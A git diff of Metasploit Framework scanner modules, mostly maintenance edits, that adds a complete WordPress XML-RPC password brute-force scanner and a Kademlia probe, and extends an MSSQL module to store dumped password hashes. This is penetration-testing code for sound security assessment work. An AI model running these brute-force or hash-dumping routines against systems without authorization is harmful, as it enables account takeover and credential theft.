Brute force previously found users if not usernames.empty? print_status("#{target_uri} - Brute-forcing previously found accounts...") - passwords = load_password_vars(datastore['PASS_FILE']) + passwords = load_password_vars usernames.each do |user| passwords.each do |pass| do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index a21c927962..03a86284cc 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ 'Thomas McCarthy "smilingraccoon" ', 'Brandon McCann "zeknox" ' , - 'Christian Mehlmauer "FireFart" ' # Original PoC + 'Christian Mehlmauer' # Original PoC ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb index 9bce58b651..dcbb525148 100644 --- a/modules/auxiliary/scanner/http/wordpress_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Wordpress Scanner', 'Description' => 'Detects Wordpress installations and their version number', - 'Author' => [ 'Christian Mehlmauer ' ], + 'Author' => [ 'Christian Mehlmauer' ], 'License' => MSF_LICENSE ) end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb new file mode 100644 index 0000000000..79b2ba5114 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => ' + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + ', + 'Author' => + [ + 'Cenk Kalpakoglu ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'] # Weak password + ] + )) + + register_options( + [ + Opt::RPORT(80), + ], self.class) + + deregister_options('BLANK_PASSWORDS') # we don't need this option + end + + def run_host(ip) + print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") + if wordpress_xmlrpc_enabled? + vprint_good("XMLRPC enabled, Hello message received!") + else + print_error("XMLRPC is not enabled! Aborting") + return :abort + end + + print_status("#{peer} - Starting XML-RPC login sweep...") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( + host: ip, + port: rport, + uri: wordpress_url_xmlrpc, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb index adbe2edc08..4c6f1bcdfe 100644 --- a/modules/auxiliary/scanner/http/xpath.rb +++ b/modules/auxiliary/scanner/http/xpath.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 9456b5f65f..b75dedcb3f 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('FILEPATH', [false, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb index c40b7551f4..c50a870fe7 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb index dc5af1c591..095f3b2717 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index e2e8a66112..2c69b41023 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index 0e2111be32..f7980275fb 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 30e78c1a37..abc8d604bd 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner', + 'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner', 'Description' => %q| This module identifies IPMI 2.0 compatible systems that are vulnerable to an authentication bypass vulnerability through the use of cipher diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 53e90b01aa..2027a5547f 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb index a1bd6fd042..0c497970b6 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/kademlia/server_info.rb b/modules/auxiliary/scanner/kademlia/server_info.rb new file mode 100644 index 0000000000..0f1c4508df --- /dev/null +++ b/modules/auxiliary/scanner/kademlia/server_info.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::Kademlia + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gather Kademlia Server Information', + 'Description' => %q( + This module uses the Kademlia BOOTSTRAP and PING messages to identify + and extract information from Kademlia speaking UDP endpoints, + typically belonging to eMule/eDonkey/BitTorrent servers or other P2P + applications. + ), + 'Author' => 'Jon Hart ', + 'References' => + [ + # There are lots of academic papers on the protocol but they tend to lack usable + # protocol details. This is the best I've found + ['URL', 'http://gbmaster.wordpress.com/2013/06/16/botnets-surrounding-us-sending-kademlia2_bootstrap_req-kademlia2_hello_req-and-their-strict-cousins/#more-125'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['BOOTSTRAP', 'Description' => 'Use a Kademlia2 BOOTSTRAP'], + ['PING', 'Description' => 'Use a Kademlia2 PING'] + ], + 'DefaultAction' => 'BOOTSTRAP' + ) + ) + + register_options( + [ + Opt::RPORT(4672) + ], self.class) + end + + def build_probe + @probe ||= case action.name + when 'BOOTSTRAP' + BootstrapRequest.new + when 'PING' + Ping.new + end + end + + def scanner_process(response, src_host, src_port) + return if response.blank? + peer = "#{src_host}:#{src_port}" + + case action.name + when 'BOOTSTRAP' + if bootstrap_res = BootstrapResponse.from_data(response) + info = { + peer_id: bootstrap_res.peer_id, + tcp_port: bootstrap_res.tcp_port, + version: bootstrap_res.version, + peers: bootstrap_res.peers + } + print_good("#{peer} ID #{bootstrap_res.peer_id}, TCP port #{bootstrap_res.tcp_port}," + + " version #{bootstrap_res.version}, #{bootstrap_res.peers.size} peers") + end + when 'PING' + if pong = Pong.from_data(response) + print_good("#{peer} PONG port #{pong.port}") + # port should match the port we contacted it from. TODO: validate this? + info = { udp_port: pong.port } + end + end + + return unless info + @results[src_host] ||= [] + @results[src_host] << info + end + + def scanner_postscan(_batch) + @results.each_pair do |host, info| + report_host(host: host) + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'kademlia', + info: info + ) + end + end +end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 39c02bac5a..19a35e271d 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") - print_error(res.inspect) + print_error(res.to_s) return :abort end @@ -93,10 +93,10 @@ class Metasploit3 < Msf::Auxiliary return end - if (res and res.code == 302 ) - if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i) + if res and res.code == 302 + if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) cookie = "DomAuthSessId=#{$1}" - elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i) + elsif res.get_cookies.match(/LtpaToken=(.*);(.*)/i) cookie = "LtpaToken=#{$1}" else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response") diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index a9a4bcec10..1c30e026a7 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -45,8 +45,8 @@ class Metasploit3 < Msf::Auxiliary 'data' => post_data, }, 20) - if (res and res.code == 302 ) - if res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i) + if res and res.code == 302 + if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'") report_auth_info( :host => rhost, @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? "https" : "http"), :user => user, :pass => pass, - :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}", + :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}", :source_type => "user_supplied", :active => true ) diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index 64dc9feeb3..b7168dde99 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 68b78ff2b9..1dddbe5cca 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 350e67cb1b..47edca4473 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index d585cf158c..b62d3dac5a 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -154,7 +154,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(buf) - response = sock.get_once + response = sock.get_once || '' # print(Rex::Text.to_hex_dump(response)) @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(buf) - response = sock.get_once + response = sock.get_once || '' res = response.unpack('x28Z*Z*') diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 2696fea3ee..50afdbd8fd 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 8dbd3a4edc..d8b8b6793b 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb index 53a274dc81..f9a59ceaaa 100644 --- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb +++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,9 +66,9 @@ class Metasploit3 < Msf::Auxiliary ) r << [ip,port,"open",'Unknown'] s.puts("\x00"*0x100,0) #Send 0x100 zeros, wait for answer - data = s.get_once(0x100) + data = s.get_once(0x100) || '' if data.length == 0x100 - data = s.get_once(0x4) + data = s.get_once(0x4) || '' if data == "\xD0\x15\x00\x00" #Signature for PIVY C&C print_status("#{ip}:#{port} - C&C Server Found") r << [ip,port,"open",'Poison Ivy C&C'] diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index ca6e555c0a..9dbc33a081 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/redis_server.rb b/modules/auxiliary/scanner/misc/redis_server.rb index 9a918d143c..3c19d93386 100644 --- a/modules/auxiliary/scanner/misc/redis_server.rb +++ b/modules/auxiliary/scanner/misc/redis_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index 8d74bd2c02..fa83664e78 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb index 66e07508ef..d52870235d 100644 --- a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb +++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index d37c266056..8c7fa985c9 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -1,36 +1,34 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SunRPC include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( - 'Name' => 'SunRPC Portmap Program Enumerator', - 'Description' => %q{ - This module calls the target portmap service and enumerates all - program entries and their running port numbers. - }, - 'Author' => [''], - 'References' => + 'Name' => 'SunRPC Portmap Program Enumerator', + 'Description' => ' + This module calls the target portmap service and enumerates all program + entries and their running port numbers. + ', + 'Author' => [''], + 'References' => [ - ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'], + ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'] ], 'License' => MSF_LICENSE ) - - register_options([], self.class) end def run_host(ip) - vprint_status "#{ip}:#{rport} - SunRPC - Enumerating programs" + peer = "#{ip}:#{rport}" + vprint_status "#{peer} - SunRPC - Enumerating programs" begin program = 100000 @@ -38,42 +36,52 @@ class Metasploit3 < Msf::Auxiliary procedure = 4 sunrpc_create('udp', program, progver) - sunrpc_authnull() + sunrpc_authnull resp = sunrpc_call(procedure, "") - progs = resp[3,1].unpack('C')[0] + progs = resp[3, 1].unpack('C')[0] maps = [] if (progs == 0x01) - print_good("#{ip}:#{rport} - Programs available") - while XDR.decode_int!(resp) == 1 do - map = XDR.decode!(resp, Integer, Integer, Integer, Integer) - maps << map + while XDR.decode_int!(resp) == 1 + maps << XDR.decode!(resp, Integer, Integer, Integer, Integer) end end sunrpc_destroy + return if maps.empty? + vprint_good("#{peer} - Found #{maps.size} programs available") + + table = Rex::Ui::Text::Table.new( + 'Header' => "SunRPC Programs for #{ip}", + 'Indent' => 1, + 'Columns' => %w(Name Number Version Port Protocol) + ) - lines = [] maps.each do |map| - prog, vers, prot, port = map[0,4] - prot = if prot == 0x06; "tcp" - elsif prot == 0x11; "udp" - end - lines << "\t#{progresolv(prog)} - #{port}/#{prot}" + prog, vers, prot_num, port = map[0, 4] + thing = "RPC Program ##{prog} v#{vers} on port #{port} w/ protocol #{prot_num}" + if prot_num == 0x06 + proto = 'tcp' + elsif prot_num == 0x11 + proto = 'udp' + else + print_error("#{peer}: unknown protocol number for #{thing}") + next + end + resolved = progresolv(prog) + table << [ resolved, prog, vers, port, proto ] report_service( - :host => ip, - :port => port, - :proto => prot, - :name => progresolv(prog), - :info => "Prog: #{prog} Version: #{vers} - via portmapper" + host: ip, + port: port, + proto: proto, + name: resolved, + info: "Prog: #{prog} Version: #{vers} - via portmapper" ) end - # So we don't print a line for every program version - lines.uniq.each {|line| print_line(line)} - - rescue ::Rex::Proto::SunRPC::RPCTimeout + print_good(table.to_s) + rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) end end - end diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index 5009bcdf5b..ce209616bd 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,8 +63,20 @@ class Metasploit3 < Msf::Auxiliary sock.put(packet) sock.get_once(4, 1) length = sock.get_once(4, 1) + + unless length + print_error("Unable to get length due to a timeout") + return + end + sock.get_once(0x210-8, 1) contents = sock.get_once(length.unpack("V").first, 1) + + unless contents + print_error("Unable to extract contents due to a timeout") + return + end + disconnect print_status "File retrieved successfully!" diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 3a66283f27..e9f5680a2e 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 703ac5b2f1..00e83217bd 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index fe2e7a9f68..31420e8be3 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 07eaecf3bf..00a3ba1ef9 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -76,9 +76,9 @@ class Metasploit3 < Msf::Auxiliary token = '' uisession = '' - if res and res.code == 200 and res.headers['Set-Cookie'] + if res and res.code == 200 and !res.get_cookies.empty? # extract tokens from cookie - res.headers['Set-Cookie'].split(';').each {|c| + res.get_cookies.split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /token/ token = v.split('=')[1] diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index a31c2637c6..99ec5d98af 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,17 +35,57 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + if datastore['USE_WINDOWS_AUTHENT'] + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = datastore['DOMAIN'] + end + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] + + unless is_sysadmin == 0 + login_data[:access_level] = 'admin' + end + + create_credential_login(login_data) + #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] version_year = version.split('-')[0].slice(/\d\d\d\d/) - mssql_hashes = mssql_hashdump(version_year) - unless mssql_hashes.nil? - report_hashes(mssql_hashes,version_year) + unless is_sysadmin == 0 + mssql_hashes = mssql_hashdump(version_year) + unless mssql_hashes.nil? + report_hashes(mssql_hashes,version_year) + end end - end @@ -55,10 +95,12 @@ class Metasploit3 < Msf::Auxiliary case version_year when "2000" - hashtype = "mssql.hashes" + hashtype = "mssql" when "2005", "2008" - hashtype = "mssql05.hashes" + hashtype = "mssql05" + when "2012", "2014" + hashtype = "mssql12" end this_service = report_service( @@ -74,15 +116,42 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - hash_loot="" + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + mssql_hashes.each do |row| next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_type: :nonreplayable_hash, + private_data: "0x#{row[1]}", + username: row[0], + jtr_format: hashtype + } + + credential_data.merge!(service_data) + + credential_core = 